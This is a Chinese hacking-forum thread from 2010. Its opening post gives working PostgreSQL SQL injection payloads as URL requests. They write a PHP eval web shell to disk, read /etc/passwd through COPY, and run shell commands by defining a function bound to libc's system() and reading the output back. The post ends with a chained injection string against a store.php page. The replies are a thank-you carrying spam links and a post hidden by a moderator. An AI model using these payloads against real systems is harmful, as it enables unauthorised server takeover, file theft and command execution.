WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2303查看
  • 2回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-7 10:57:34 |显示全部楼层
如何获得webshell  
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);   

http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);   


http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;  

如何读文件  
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);   
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;   
http://127.0.0.1/postgresql.php?id=1;select * from myfile;  

z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。  
当然,这些的postgresql的数据库版本必须大于8.X  
创建一个system的函数:  
CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT   

创建一个输出表:  
CREATE TABLE stdout(id serial, system_out text)  

执行shell,输出到输出表内:  
SELECT system(’uname -a > /tmp/test’)  

copy 输出的内容到表里面;  
COPY stdout(system_out) FROM ’/tmp/test’  

从输出表内读取执行后的回显,判断是否执行成功  

SELECT system_out FROM stdout  
下面是测试例子  



/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS  
’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out  
ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

主题

好友

46

积分

禁止访问

发表于 2010-3-25 17:27:55 |显示全部楼层
恩,受教了...谢谢楼主的分享!感谢万分.....




















折扣网  打折网   精品男装  时尚女装
回复

使用道具 举报

主题

好友

6

积分

禁止访问

发表于 2010-4-3 10:57:46 |显示全部楼层
提示: 该帖被管理员或版主屏蔽
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-29 10:53 , Processed in 0.069839 second(s), 16 queries .

返回顶部